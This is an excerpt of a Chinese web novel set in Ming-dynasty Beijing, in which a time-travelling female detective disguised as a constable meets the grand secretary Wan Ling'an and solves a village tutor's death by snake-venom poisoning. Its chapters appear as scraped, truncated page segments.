《大明奇案之妖孽宫廷》 1. 神鸟夺心 《大明奇案之妖孽宫廷》全本免费阅读 大明,顺天府。 天空有些阴沉,黑压压的似汲满雨滴的棉花,惊雷乍起,刮过一阵疾风。与之相对的是城东热闹异常的“鹤鸣酒楼”,黛色琉璃瓦下,高挂大红灯笼,宾客满座,似乎谁也没空在意这坏天气。 “掌柜的,赏口饭吃吧!小的已经三天没吃饭了,肚子都饿瘪了!” 不知从哪儿窜出一个衣衫褴褛的小乞丐,脸上全是煤灰,两只爪子脏兮兮的,他缩成一团,像一只被遗弃的小狗。 “滚滚滚!臭叫花子,上别处要饭去!”酒楼老板嫌恶地望了他一眼,肥胖的脸上满是鄙夷。 此时正值荒年,南方三省大旱,沦落的流民早已让人见惯不惯了,这灾荒虽说是天灾,伴随而来的却是人祸,赈灾的粮食被官员们层层搜刮,落到百姓手里寥寥无几,难怪南方诸地流传一首歌谣:“官仓老鼠大如斗,见人开仓亦不走。健儿无粮百姓饥,谁遣朝朝入君口?” 老板刚要派人把乞丐轰出去,却听他讲话了。 “掌柜的,我看您印堂发亮,满脸福相,简直是天上的启明星转世,地上的财神爷降临啊!小人见到您,就像垂死的人见到活神仙,如果您赏我点吃的,就像神仙洒甘霖到人间,您的生意也会越发红火,小人保证不出一年,您的酒楼就会成为顺天府第一大酒楼!” 这小叫花子,嘴里是吃了蜜吗?可这京师灾民这么多,要救到何年何月去? 却听见小乞丐继续说:“就赏我些剩饭就行,小人家里还有八十岁老母和几个弟弟妹妹呢,我一定待在酒楼的角落,不打扰您做生意!” 店小二倒生了些恻隐之心,说厨房还有一些剩饭,反正丢了也是可惜,不如给他算了。 掌柜不耐烦地摆摆手,只见一达官贵人来了,便脸上堆着笑地去迎接,也没空管小乞丐了。 店小二让乞丐进来,自己去厨房给他拿了点吃的。 …… 不一会儿,乞丐拐了个弯,来到一座破桥下。 桥下一人赶忙过来迎接,“老大,里面情况怎么样?” “有些异常,叫兄弟们做好准备!”乞丐抹了把脸,眼中闪过一丝亮光,原来,这乞丐便是京师衙门的捕快景暄和所扮。 其实,景暄和是她在21世纪的名字,身体原本的主人叫于歌笛。于歌笛本是左都御史于景涟的千金,于景涟一生清正,刚直不阿,却因为得罪宦官头子被下了诏狱,惨死狱中后,全家也被流放边疆。在流放的途中,于歌笛因为受不住寒冷冻死了,被官差丢到了乱葬岗,谁知阴差阳错之下,景暄和穿越到了她的身上。 景暄和是一996警局探员,盼星星盼月亮好容易升职了,一觉醒来,却穿越到了大明永熙年间。努力努力白努力,怎一个悲伤了得,这也意味着一切都要从头开始,幸好还有一身刑侦的本事,便女扮男装,用自己本名“景暄和”在顺天府衙门谋了个捕快的职位,反正在这个时代,谁都不知道她是谁,而这个名字,男女通用,也正好省事了。 景暄和自动有了于歌笛的记忆,这女孩也是可怜,其他近亲都死了,只有一个弟弟,不知去了哪里。当年于家被抄之时,母亲本想护着她和弟弟拼死从流放的路上逃走,却被抓了回来,三人被官兵暴揍了一顿,母亲为了护着他们挨下了大部分拳头,倒在血泊之中,后来,于歌笛也冻死了,被丢入乱葬岗,她弟弟就更不知是死是活了。 算了,往事如烟,还是着手眼前要紧。 如今他们在追查一起流寇案,流寇团伙有兄弟五人,皆是凶悍异常,半月前更是劫了镇远镖局的买卖,上头催的紧,此事往小了说关乎她捕快的颜面,往大了说关乎整个京师衙门的脸面,景暄和怎敢怠慢? 她在三日前得了线索,说是流寇之一会在“鹤鸣酒楼”接头赃物,便带着手下兄弟布好局,准备来个瓮中捉鳖。 景暄和冷静道:“鹤鸣酒楼一直是达官显贵附庸风雅的去处,这月新来了几位美艳胡姬,今晚会有歌舞表演,都说上流社会的人总喜欢做点下流的事,贼人选择在此交易无非是想掩人耳目,既已与兄弟们定下摔杯为号,等会儿定要将那群杂碎一网打尽。” “可是老大,那肥头大耳的老板怎么说都和神仙沾不上关系吧,那么说你的良心不会痛吗?仔细真有活神仙路过,被你气地劈下一阵雷可不是闹着玩的。”阿呆挠了挠头,只差起鸡皮疙瘩了,见人说人话,见鬼说鬼话,也只有他家老大能办到。 景暄和下巴微扬,远远地望了老板一眼:“可不是活神仙么?好个天蓬元帅猪八戒哩!” 这时,一阵惊雷劈过,阿呆叫了一声,赶忙埋进景暄和的肩头:“老大,如果等下出了危险,你得保护我,阿呆最怕打雷和强盗了。” “你呀你,胆子这么小,真不知当初怎么混到衙门来的?” 景暄和总觉得,阿呆是盘古开天辟地以来最胆小的捕快了,都说长得好看不能当饭吃,可阿呆却是个例外,当初遴选捕快时,遴选官看阿呆长得好看,每次又稀里糊涂地能找到证据,就让他过了,对此,景暄和将其归结为“傻人有傻福,老天赏饭吃”。 又有一次,城中有采花贼作乱,景暄和逗他说:“山贼最喜欢唇红齿白的童男童女了,要是被采花贼抓去,阿呆就要变成阿木了。”“为什么?”阿呆傻傻发问。“因为阿呆的嘴巴会被封住,牙齿会被打掉呀!呆子没了口,不就成烂木头了吗?”景暄和煞有介事道。 这可把阿呆吓傻了,他在衙门的告示栏上贴了张纸:“组团,本人今日欲从城南山路归家,需同道之人若干名,长期有效。”一众捕快差点被这告示给乐死了,不免一顿调戏胆小鬼阿呆。 “哎,整天对付这些小毛贼,本捕快何时才能出人头地、崭露头角啊?”景暄和咬咬牙,握紧拳头道。 “当然要破一些奇案大案了!”阿呆憨厚一笑,黑黝黝的眼珠一瞪,“可是老大,你不过去酒楼转了一圈,为何便能断定流寇的位置呢?” “眼睛是个好东西,你却只拿它当装饰品。”景暄和挑眉道:“刚才环顾四周,只见靠窗的一位客人戴 2. 大明首辅 《大明奇案之妖孽宫廷》全本免费阅读 微风将轿帘缓缓吹开,那人横卧在榻上,一手支着头,一手把玩着美玉。都说有人粲然若霓虹,有人温润如玉树,可轿内这人却如万年冰雪下蕴着的一只妖,在大片华美的深紫中,染着锥心刺骨的凉意。 这是一个华贵冷艳、高不可攀的人。 似乎千里江山的丰华,也不及他眉眼间的灿然生辉,明明在微笑,可他的笑却像万千的星辰被冻在冰河之下,让人感受不到一丝温度。 轿子不偏不倚地停在楼前,那人头戴白玉束发冠,齐眉勒祥云紫金抹额,胸前有仙鹤补子,腰系琵琶型玉带钩,一身深紫宽袍,在万千的注目中,缓缓步入了酒楼。 景暄和一惊,大明官服补子是文官禽,武官兽,而仙鹤图样是一品文官才能享有的殊荣。 莫非,这人便是…… 人群中有人窃窃私语:“没想到今日竟有幸得见内阁首辅万大人,万大人单名一个“渊”,表字“灵安”,一人之下万人之上,极受圣恩,姨母更是皇上最宠的明贵妃,真是年纪轻轻,前途不可限量啊!” “是啊,万大人委实风姿卓绝,令人见之难忘啊!都说万大人三岁成诗,五岁做千字文,十岁便写下有名的《告君十论》,这样的通天才学,也只有传说中的怀献太子能与之匹敌了。” “嘘——不要命了,竟敢提已故太子,仔细被东厂的魏公公听到了,剥你一层皮!” 那人脸色都变了,连忙闭嘴。 内阁首辅,明贵妃,怀献太子…… 景暄和双眸微眯,心中已有了思量。 “老大,他怎么进去了?计划还是照常进行吗?” “蓦然回首,那人却在灯火阑珊处,”景暄和眸光幽深,含笑道:“机会,终于来了。” “什么机会?”阿呆一头雾水。 她记得在史书上,万灵安最后的结局是在新皇登基之夜突然暴毙,年仅三十五岁,没有人知道这两件事有没有关联。新皇并未清算万灵安及其门生,而是将他追封为“上柱国”。后世很多学者对此事争论不休,一部分人认为两件事也许只是巧合罢了——如果新皇不待见万灵安,大可以将他曝尸荒野,而他却并没有这么做。另一部分人却认为,万灵安就是被新皇毒杀的,他的权力太大,遭受了忌惮,新皇念其没有功劳也有苦劳,保存了他最后的脸面。无论怎样,如果能抱住万灵安的大腿,以后一定不会混得太差。 而万灵安的死对头司礼监秉笔太监魏福忠的下场却要凄惨很多,他被新皇凌迟了,由太监黎振接任了他的位置,而新皇正是从民间寻回的怀献太子。黎振上位后,比魏福忠更加丧心病狂,买官卖官,陷害忠良,坏事做尽,大明的百年基业几乎被此人毁坏殆尽。奇怪的是,怀献太子登基后的表现实在寻常,和小时候惊才绝艳的名声完全对不上,所以也有学者质疑,这怀献太子是否是真的,又或者只是阉党从民间找来的傀儡罢了。 若能成功上位,那么揭开这桩历史悬案也不是没可能,想到此,景暄和更兴奋了。如果在黎振上位前就将他除掉,为民除害,那么历史的走向,会不会又是另一种方向? 景暄和压抑住激动的心情,只是说:“阿呆你记住,如今咱们的目标不是那可有可无的小贼了,若真想参与到神鸟夺心案中,便只需盯着一人——”她手指一挑,正指向堂中那位,“内阁首辅,万灵安。” *** 酒楼里,觥筹交错,十分热闹,万灵安坐在主座上,台上有两名胡姬跳胡旋舞,皆是金发碧眼,美艳非凡,万灵安一手打着拍子,一手托着只翠色的玉杯,已是微醉。 “古人云‘葡萄美酒夜光杯’,这酒倒入夜光杯中,颜色便与鲜血无异,是以饮酒有如饮血……”他喃喃道,突然仰头将那酒喝下,几滴艳红的酒落在了他雪色的脖颈上,更添一种触目惊心的颜色。 一名胡姬莲步轻移,像一团冉冉升起的红云,她将手中的红纱一抛,便落在了万灵安的身边。万灵安没有说话,只是慵懒地看着她,唇边带着一丝散漫的笑,像瞧着一只柔软的猫咪。 胆子大了些,胡姬摘下面纱,露出一双妩媚的碧眼,扭动着腰肢围着万灵安转了一圈,座下之人皆是盯着胡姬那雪白的肌肤,曼妙的身姿,妖娆的红唇,差点口水直流。 万灵安仍是笑着的,仿佛笼在一片深紫的薄雾中,眼中闪过一丝猜不透的迷离。 胡姬的笑容越发妩媚,都说英雄难过美人关,她向来自负美貌,是她们部族最美丽的歌姬,多少男子想见都排不上号的,这万大人再有权势,也是个寻常的男人不是?若是攀上了这条高枝,那么往后的荣华便指日可待了,这样想着,她笑容更盛,一只涂着豆蔻的纤纤之手便点在了万灵安的袖上。 “糟糕,美人要倒霉了。”躲在暗处的景暄和捂嘴道。 顺天府无人不知,无人不晓,万灵安有洁癖,而且是深度洁癖。 话音刚落,万灵安手中的杯子落在了地上,刹那间,价值千金的酒泉夜光杯,便成了碎片,胡姬一惊,只当他手滑。 “把你的鸡爪拿开。”万灵安很是平静,连头也不抬。 歌姬愣在当场,哭也不是,笑也不是,只是期期艾艾道:“大人,您……” “来人。”万灵安突然说。 “属下在。”几名黑衣侍卫单膝跪在他脚边。 “这鸡爪留着也是没用,砍了吧。”他仍是嘴角挂着笑,可是这笑却让人不自觉地毛骨悚然,那胡姬被他可怕的平静吓得花容失色,连忙跪地求饶道:“大人,奴家知罪了,饶了奴家这一回吧!” 众人都倒吸一口凉气,不过也算她倒霉,都说老虎屁股摸不得,这美人却偏偏犯了他的大忌,真是可惜这纤纤擢素手了。 谁曾想到,八名官差冲了进来,皆着青衣红马甲,戴小帽,系青丝织带。 “别动!” 人群中顿时一片骚乱。 景暄和本是躲在暗处,心想:不好,兄弟们八成是将万大人的摔杯当成擒拿流寇的暗号了! 她灵机一动,将挂在腰上的葫芦取下,道:“阿彩,就靠你了!吓吓那紫衣的男子。” 从葫芦里滑出一条黑底彩条纹的小蛇,电光火石之间就向万灵安滑去。 “嘶——” 不知从哪儿传来一阵奇音,人群中突然有人喊了一声:“不好,有蛇!” 那蛇十分准确地滑到了万灵安身边,他千年不变的眉头终于皱了一下,在众目睽睽之下,准确地站在了桌上。 “大人小心!” 一阵清脆的声音传来,众人眼睛一花,便见一个小乞丐窜了出来,徒手将蛇捉住,似乎很生气地说:“哪来的小畜生,竟敢惊扰万大人,真是嫌命太长了吧。” “要你吓人,要你吓人!”她边说边用力地拍蛇的尾巴,那蛇吐着信子,扭动身子,景暄和贼喊捉贼的功夫可不是盖的,她盯着小蛇的眼睛,自顾自说道:“大人神仙一般的人物,也是你这小畜生能够惊扰的?今日便捉你回去做成蛇酒,看你还嚣不嚣张?” 万灵安的目光却落在了她的手上。 手指修长,骨节分明,指甲被修剪得很圆润,微微泛着淡淡的玫瑰色。 似乎是一双女人的手。 万灵 3. 蛇毒之谜(1) 《大明奇案之妖孽宫廷》全本免费阅读 次日清晨,景暄和起了个大早,本打算与阿呆先去监牢看看疑犯的口供,却遇上一阵疾雨,无奈,二人只好在近处的茶坊点了杯清茶顺便躲雨。 三月烟雨之中,薄雾似半掩的一纸卷轴,无声无息地铺开,景暄和托着腮,伸出手接住瓦上落下的细雨,只觉得掌心凉嗖嗖的。 “据我所知,夫子是在下早课后吃了学生母亲亲手做的桂花糕而亡的,官差在学生的房间搜出了砒’霜,此案一眼看去,实在与学生脱不了干系,只是他怎么也不承认,料想口供也无太大的参考价值,是以我们看完口供之后,还是得去夫子的墓地开棺验尸,只是万大人只给了我两天时间,着实有些吃紧。” 景暄和叹了口气,长长的睫毛落下一瓣阴影,却见阿呆正盯着自己,不禁敲了下他的脑门,道:“别以为你现在戴着人|皮面具,我就看不出你的表情,你这呆瓜又在发呆吧。” 阿呆吃痛地揉了揉脑袋,道:“老大你又打我,每次你想不出案情都要打我一顿,我算是明白了,哪天你成为神捕之时,就是我小命不保之日。” 都说长得好看是上天眷顾,可放在阿呆身上就是一件彻头彻尾的霉事。 记得阿呆刚入职时,每巡街一圈都会收到一筐姑娘们送的蔬菜瓜果,有次一位胆大的姑娘与阿呆搭讪——“公子这是去哪儿?”姑娘害羞地问,一张帕子被手指搅得发褶。阿呆施了个礼,回复道:“大婶有何贵干?” “……” 于是乎,为了避免阿呆被人痛扁,景暄和便送了他一张人|皮面具,也算替他的生命安全着想。 谁曾想,另一桌的几位书生却开始高谈阔论起来了。 一青衣书生说:“我一生最敬佩的便是怀献太子了,少年便有神童之名,还记得十五年前大明与倭寇开战,战事胶着,才刚九岁的怀献太子给当时的李太后献上一方锦囊,太后将此锦囊交给上任内阁首辅,谁想用此锦囊的妙法后,不费一兵一卒便让倭寇投降了,此事到如今还被人啧啧称奇呢!” “那又如何,怀献太子再传奇也是一段旧话,谁叫他十二岁便英年早逝呢?真是天妒英才啊,若非怀献太子撒手人寰,当今皇上又怎能……” “嘘!不想活了啊?”布衣书生阻止到,又说:“不过还有传言说怀献太子并没死,而是在当年的宫廷政变中流落民间,至今下落不明呢!” “顺天府多奇人,怀献太子算一位,内阁首府万大人也算一位,可是,你们难道没有听过于景涟大人家的千金吗?” “你说的可是那放着女红刺绣不做,整日与蛇虫鼠蚁为伍的千真小姐于歌笛?” 听到这个名字,景暄和便侧着耳朵倾听,没想到这些年过去了,还有人记得这身体原本的主人。 “正是。”青衣书生缓缓道,“于歌笛美貌惊人,只是早年骄傲肆意,最不喜说假话,甚至连一星半点的谎言都听不得,对于谄媚、溜须拍马之人更是深恶痛绝,人送外号‘千真小姐’,谁道命运无常,刚与万家的公子,也就是现任内阁首辅万灵安大人定下婚事,就家破人亡,真是天妒红颜啊。” 布衣书生捋了捋胡子说:“也怪那于景涟不识抬举,不懂审时度势,东林党与阉党之争一向水深火热,大明十二监,就属司礼监掌印太监魏福忠独揽大权,人称‘九千九百岁’,于景涟放着好好的京官不做非要上书魏公公二十四条大罪,反落了个贪污的罪名,最后却被下到诏狱中,受尽折磨而死。” “诏狱?传言那不是人间的十八层地狱?” “可不是?听说于大人先是被杖打了四十大棍,拶手一百次,在他皮开肉绽之后,又用一根长铁钉穿入脑内,土囊压身而死,他的死状十分惨烈,以至于当尸体被领出去之后,竟已腐烂,状况惨不忍睹。等放入棺材的时候,仅剩破碎的衣物和几根残留的骨头,真是想想都可怕呢,不过此事还有另一个版本,恐怕很少人知道。” “什么版本?” “先皇曾将一张前朝的藏宝图交由于家保管,奈何先皇去得太匆忙,这图就一直在于家,传言这藏宝图是前朝最后一任储君所绘,本想交给子孙作为复辟大业的资本,却终是失败。阉党正是听闻这一消息,才栽赃于大人贪污,奇怪的是,抄家之时,那图却不翼而飞了,我猜那于景涟表面刚正不阿,实际上也是见钱眼开的宵小之辈,这笔宝藏,八成是被他占为己有了,只可惜,有命拿没命花啊……啊——” 布衣书生的头上突然被浇了壶茶,淋得像落汤鸡一般。 “谁?谁干的?”书生一拳捶在桌面上,怒气霍然爆开。 “刚才听到一阵乌鸦在叫,就看到您的头上掉了几坨鸟屎,都说鸟屎掉到头上寓意着家里要出大事,在下便好心地帮您浇下,可是您非但不感激却出言不逊,真不知世上怎会有如此败类?”明明在笑,可是书生却觉得有一股凉气从下至上,将他包围。 “呦,怎么还有只虫子呢?”景暄和一指,书生便见自己的茶杯中冒出一只青头小蜈蚣,那书生腿都吓软了,“你你你!日后再与你算账!” “您刚才喝下那么多口茶都没发现,仔细中毒了,那就要出大事了。” 书生脸色一白,随即将手指插入喉中,用力干呕。 他扶着茶坊边的树,怎么也呕不出来。 “快走快走,带你去看大夫。”书生的同伴架着他飞也似地跑走了,形容要多狼狈有多狼狈。 景暄和一手撑着桌子,坐了下来,她将蜈蚣拿出茶杯,放入瓷瓶中,这是景暄和养的蜈蚣,刚才趁与书生说话间隙放进他杯中,书生却没有发现,还以为自己中了毒。穿越后,景暄和便找到了于歌笛藏着的蛇虫鼠蚁,其实在现代,她也很喜欢这些玩意儿,冥冥之中,算是二人的默契吧。 景暄和像想起了什么,抬头望了一眼天空,雨已止住了,可天空仍是阴沉沉的,似乎随时都会再下。 以前读《明史》时,景暄和最佩服的便是于景涟,几乎是她偶像般的存在——以一己之力对抗黑暗与不公,虽然最后惨死,却死得壮烈。更何况她早就继承了于歌笛的记忆,恍惚间,眼前又出现了于景涟慈爱的面容。 那时,爹爹经常对于歌笛说:要隐忍才能成大事,要坚持心中的信仰,做一个忠君爱国、明礼守信之人。 可是…… 为什么这些年过去了,卑鄙小人魏福忠仍旧风光无限,而忠臣义士却身死魂灭,如今还落得被布衣嘲笑的下场呢?虽然景暄和知道,魏福忠迟早会倒台,可是迟来的正义还是正义吗? 人心这么黑暗,世道如此险恶。 信仰,真有坚持的必要吗? 景暄和在心底默 4. 蛇毒之谜(2) 《大明奇案之妖孽宫廷》全本免费阅读 这时,远处闪过一团黑影。 是一只极瘦的黑猫,透过脏乱的毛甚至能看见皮下耸起的骨头,它瞪着圆溜溜地眼睛,一步一步朝他们逼近。 “救命啊!有猫!” 阿呆一蹦三尺高,赶忙躲在景暄和后面。 景暄和呵呵一笑,说道:“你连死人都不怕,为什么会怕一只猫呢?” “死人又不会打我、伤害我,可是猫会咬我啊!”阿呆倒是振振有词,“猫总是吃一些奇怪的东西,老大,你快赶走它,快啊!” 看得出来阿呆是真怕猫,景暄和便不再逗他,只是随意找了根枯树枝,在猫跟前敲了几下,黑猫耳朵一竖,便逃跑了。 “好了,别怕了。”景暄和拍他的肩,阿呆从景暄和的身后探出半个脑袋,见猫走了,才长须一口气。 二人合力将尸体放回原处埋好,又对着夫子的墓碑拜了三下。 景暄和叹息道:“这夫子也是苦命,刚过不惑之年便猝然离世,留下一个瞎眼的老娘,阿呆,等我们办完这个案子,记得去给他瞎眼的娘亲送些钱,这老人家现在指不定多伤心呢。” 阿呆点点头,又说道:“老大,为什么每次验尸我们都要亲力亲为呢?衙门不是请了仵作帮忙吗?” 景暄和摇头道:“仵作之欺伪,吏胥之奸诈,变幻莫测,他们的说辞不可尽信。对待每项案子,一定要慎之又慎,因为放过一点蛛丝马迹,便有可能冤枉好人,我不能忍受在我的手下出现冤假错案,我们虽为不良人,可是要行得正坐得直,对得起天地良心。” “老大你好厉害啊。”阿呆傻笑了下,伸出大拇指道:“不愧是我一直以来的偶像。” “下山吧,我请你吃涮羊肉。”景暄和不以为意道:“可别案子没查出来,饿坏了肚子就不划算了。” 阿呆自然举双手赞成,两人说说笑笑,隐于暮色四合的竹林之中。 *** 羊肉火锅冒着热腾腾的蒸气,景暄和与阿呆累了一天,早已是饥肠辘辘,又点了烧笋鸡,凉糕,糍粑,便吃起来了。 阿呆道:“老大,我总觉得你对吃特别讲究,这烧笋鸡味道鲜美,当下时节吃真是极好了。” “这算什么?吃可是门大学问,每个季节吃什么,怎么吃,我倒是专门研究过好长一段时间。”穿越到大明后,景暄和少不得要自己动手,一改吃外卖的习惯,便寻了几本古书,看这个朝代能吃什么美食。 “比如呢?” 景暄和笑笑道:“正月最好吃冬笋、银鱼、鸽蛋、麻辣活兔、塞外黄鼠、半翅鹖鸡、冰下活虾,素食包括蓟北黄花、金针、都中山药、南部苔菜、武当山鲎嘴笋、江南蜜柑、软子石榴等。” 阿呆见她说得头头是道,不由得放下筷子,仔细聆听。 “特别是下雪的时节,传说穆宗喜欢大锅烩,将炙蛤蜊、炒鲜虾、田鸡腿、笋鸡脯、海参、鳆鱼、鲨鱼筋、肥鸡、猪蹄筋共烩一锅,称为三事,穆宗进食,其乐无穷。我曾按这个配方煮过一次大锅烩,可是总觉得鳆鱼有种我不喜的腥味,便去了这味食材,煮好后,只吃一口,便觉得真是人间美味,妙不可言呢。”景暄和朗声道:“对了,再配上新酿的美酒桃花鲜,坐在庭内,对着窗外的漫天大雪,那才叫诗酒风流,不枉此生。” 景暄和叹息了一声,只可惜,捕快工资实在是太低,要是能买更好的食材,一定能尝到更多珍馐。 景暄和用筷子将鲜嫩的薄羊肉在汤底里涮了一下,说道:“我总觉得,此案的关节便在蛇身上,若是尸体没有蛇咬过的伤口,那蛇腥味到底是从何而出呢?” 阿呆吃了两口菜,道:“老大,能不能别在吃饭的时候讨论案子?你再说,阿呆就吃不下去了。” “你个呆瓜。”景暄和给他夹了块羊肉,“就知道吃,迟早噎死你。” “我才不会噎死,阿呆虽然喜欢吃饭,可是有脑子,又不会吃些稀奇古怪的东西。”阿呆喝了口茶,道:“我猜咱们今天所见的黑猫,那才是到处乱吃,不讲干净呢。” 景暄和道:“你又何苦与一只黑猫不对付?与其花时间怕这怕那,不如多想想案子,才是正事。” “依我所见,疑难的案子最初就像一团乱麻,之所以错综复杂,就因为打了些死结,这些结或大或小,可若是我们能将关键的大结解开,那后面的小结自是不在话下,解开整团乱麻便水到渠成了。可解开大结总需要时间,有时还需要灵感,若是一味苦思冥想倒适得其反了。” “你这个呆子,关键时候倒还有些用处,那依你所见,我们现在又该如何是好呢?” “要不我给你讲个笑话,让你开心开心?” 景暄和挑眉一笑,道:“那你讲吧,若是不好笑,明日回衙门,我打你二十大板。” 阿呆端正地坐着,说道:“我以前养过一些小鸡,活蹦乱跳的,甚是可爱,其中一只尖嘴母鸡每天生八个蛋,有时我出远门将这鸡托给邻居照顾,它白天在邻居家吃食,晚上又回我家生蛋,十分机敏,可它有个最大的缺点,就是怕老鼠,每次见了老鼠就上蹿下跳。”他顿了顿,说:“八年过去了,有天晚上它却没有归家,遍寻无果,最后在村口大婶的门前发现了它,让人惊讶的是,这母鸡竟然断气了,我还以为它是老死的,可事实并非如此。” 景暄和似乎听得津津有味,问道:“那它是怎么死的?” “原来邻居家闹老鼠,邻居大婶将老鼠药洒在门口,那尖嘴母鸡在地上乱啄,竟然啄到了老鼠药,真是讽刺,它没有被老鼠咬死,却吃了专克老鼠的毒|药而死,你说好笑不好笑?”阿呆说完,便兀自笑了起来,捂着肚子前仰后合的。 景暄和翻了个白眼,这呆子的笑点还真是奇怪呢。 “看来这二十大板,你是挨定了。”景暄和吃了口菜,说:“这笑话不好笑,谁规定鸡非要被老鼠咬死呢,吃了老鼠药,不一样会死吗?” 阿呆点点头,道:“是啊,我也觉得鸡被咬死有点说不过去,毕竟那尖嘴母鸡可比老鼠大多了……” “慢着!”景暄和撂下筷子,脑中似乎灵光一闪。 阿呆问:“老大,怎么了?” 景暄和眼中先是有些失神,似乎陷入了沉思,继而恢复清明,嘴角勾起一丝笑,道:“既然人可以被蛇咬死,又何尝不可能误食蛇毒而死呢?” “你的意思是……” “我知道那蛇腥味是从何而来了。”景暄和的眼中绽开一抹喜色,道:“是了,我们明日再去那夫子的村庄走一遭,定有收获。” *** 梅落村坐落在顺天府的郊外,依山傍水,风景秀雅,村里最有名的便是“春深书院”,取自唐代诗人王贞白的《白鹿洞二首(其一)》,诗中云:“读书不觉已春深,一寸光阴一寸金”,而死者赵夫子正是春深书院的教书先生。 景暄和与阿呆来到春深书院,只见学生们正在上早课,皆戴四方平定巾,穿玉色的圆领大袖衫,腰围大带,同时垂下丝绦。 一名扫地翁正在清理庭院,景暄和走近他,道:“老人家,我们是京师衙门的官差,正在查案,可否向您询问一下关于已故赵夫子的事情。” 老者混沌的眼睛扫了他们一眼,说道:“赵夫子是一个大好人啊,平日最欣赏的就是学生汪常青了,赵夫子总说,汪常青才思泉涌,开朗聪慧,是他教过最出色的学生,假以时日,定能金榜题名,独占鳌头,谁知这猪狗不如的畜生,不但不感念夫子的恩德,还下毒加害于他,真是人心叵测啊!” 景暄和摆手,道:“老人家切不可妄下定论,汪常青目前只是疑犯而已,还没有直接证据表明他就是凶手,况且他在狱中并未 5. 蛇毒之谜(3) 《大明奇案之妖孽宫廷》全本免费阅读 未时三刻。 景暄和带着五名捕快来到了孟华的房前。 这是一处普通的民宅,还有些老旧,门前挂着辣椒、玉米、腊肉,只是还未走近,便闻到一股浓重的蛇腥味。 “就是这里了。”王二指着孟华家的大门,道。 木门上有门神画,左右还贴着一副对联,只是经过风雨的侵蚀,对联上的字已经不清晰了。 这时,木门“吱呀”一声被推开,一个约莫四十出头的男人戴着斗笠,披着蓑衣,手上拎着一个竹篓,准备出门。 捕快们将孟华团团围住,孟华见形势不对,讪讪一笑道:“各位官老爷,小人一介平民,不知怎么得罪各位了?” 景暄和将剑比在孟华的脖子上,道:“您多虑了,兄弟们只是看您这民宅清幽雅静,想进去瞧瞧而已。”她的目光陡然冷静下来,对其他捕快扬声道:“进去搜!” “是!” 捕快们立马分头行动。 果然,从孟华的枕头下搜出一个同样的白瓷瓶,也是素色白底,印有腊梅标记,里面还有半瓶蛇毒。 孟华神色一变,强作镇定道:“官老爷,小人冤枉啊!小人出身于捕蛇人家,自然对蛇毒很熟悉,放在枕头下压惊也是合乎常理的,况且小人从未用蛇毒害过人,还请大人明察啊!” “你敢对着这青天白日发誓,你从未用蛇毒害过人么?”景暄和双眼逼视他,道。 “这……”孟华看着这双明亮的眼睛,咽了一口唾沫。 “你不敢。”景暄和冷哼了一声,说道:“不巧,今晨我在村中的一口井中也发现了这瓷瓶,与你宅中的如出一辙,而赵夫子就是误食被蛇毒沾染的桂花糕身亡的,蛇毒本就不易获取,这村里就只有你一家捕蛇,你还敢说和赵夫子之死毫无关系么?” 铁证如山,不容孟华狡辩。 他暗自握紧了拳头,突然,趁景暄和不备,打开了竹篓,往景暄和扔去,景暄和下意识地一挡,二十多条蛇从竹篓里掉了出来,众捕快大惊,他们虽为七尺男儿,可是面对如此多的毒蛇,还是乱了分寸。 孟华趁乱打算逃走,景暄和反手就捉住他的肩,将他推向众捕快的方向,阿呆赶忙接住孟华,继续用剑比着他。 电光火石之间,景暄和从袖中拿出银针,指尖用力,银针飞落,将毒蛇尽数钉在了地上,动作一气呵成。 “这般的雕虫小技,也想谋害本捕快?”景暄和摆手道:“带回衙门,听候发落。” 于是,孟华被戴上镣铐,押送到了衙门里。 *** 经过审讯,孟华把一切都招了。 原来,孟华心慕村里一姑娘,本凑齐了彩礼就要到姑娘家提亲了,可是姑娘却临时反悔了,究其原因,姑娘竟喜欢上了旁人,也就是春深书院的大才子汪常青。 可汪常青一向醉心学问,不近女色,是一位潇洒旷达之人,姑娘对汪常青表白了数次,汪常青却都拒绝了,姑娘一气之下竟然去尼姑庵出家,当了尼姑,准备伴着青灯古佛了此残生。 孟华十分恼怒,他不气姑娘对自己出尔反尔,只怪汪常青害了姑娘一生,于是,他偷偷潜入汪家的厨房,将蛇毒倒入汪母所做的桂花糕上,打算毒死汪常青,谁知却被汪常青孝敬了赵夫子。赵夫子中毒身亡后,孟华越想越害怕,便将害人的蛇毒扔到井里,又潜入汪家丢下一瓶砒’霜,以为这样便能掩人耳目,只是没想到,百密一疏,家里的半瓶蛇毒成了他的罪证。 …… 一日后,此案尘埃落定。 景暄和回衙门时,只见堂前的小吏向她通报道:“景捕快,首辅大人有请。” 她一怔,消息竟这么快就传到万灵安的耳朵里了?不过也难怪,万灵安在顺天府权势极大,又深得圣上信任,不过性格有些古怪,让人捉摸不透,面对这样的人,虚张声势是不行的,只能以不变应万变。 她随小吏来到了万府,这处府宅在她巡街时曾经过无数遍,可是每次只能在外面瞧上一眼,就像一颗只能远观不能近看的夜明珠。 万府的外观气派的有些过分,光门口的两座石狮子就镶了金,这在卧虎藏龙的京都是不可想象的,要知道,皇城脚下臣子们都是尽量低调内敛,生怕被锦衣卫或者东厂的人抓到小辫子,说自己贪污受贿,可是万灵安却不怕,也没有人能奈他和。景暄和曾想象过许多次,既然外观都如此华美张扬了,那里面还不得极尽声色犬马之能事? 小吏没有带她从正门进,而是绕道到了后门,这让景暄和有些不快,自己又不是做贼的,为何好好的正门不走偏走后门?不过她深知自己现在还没有资格在意这些,不过总有一天,她会做到的。 万府极大,经过外院时,真真是雕梁画栋,令人眼花缭乱,庭前开满了西府海棠,花色艳丽,花姿优美,远观犹如火红的朝霞,富贵逼人。经过第二层院子,却比之前的装饰要少了一些,再穿过几道幽静的小巷,却与一般富贵人家无异了。最惊讶的是经过第三层院子,只见一间素雅的小亭,挂了几条雪纱,房中依稀有一副画,到了最里面的一层院子,只有一片湖,湖中心有间草屋,掩映在蓝天绿水之中,就像文人隐士的居所。 层层简化,到最中心,却是极简了。 “万大人要您在此等候。”小吏向景暄和施了一礼,便离开了。 景暄和等候了片刻,心里有些踟躇,这万灵安,到底在耍什么把戏? 忽闻一阵箫声,这箫声悠扬,像飘散在九天之上的玄云,极清、极淡,又像古时越女的歌谣,怎么也抓不住、握不牢,奇怪的是,箫声中带着一丝犀利,仿佛要割破什么东西,有种锐不可当的感觉。 从湖边到草屋有座石桥,景暄和静候在侧,忽然发现石桥边的柳树下有座小土堆,从土堆里露出一木质盒子的一角,景暄和有些好奇,见万灵安还在吹箫,便蹲下身来将木盒挖了出来,却见里面有一副马吊牌。 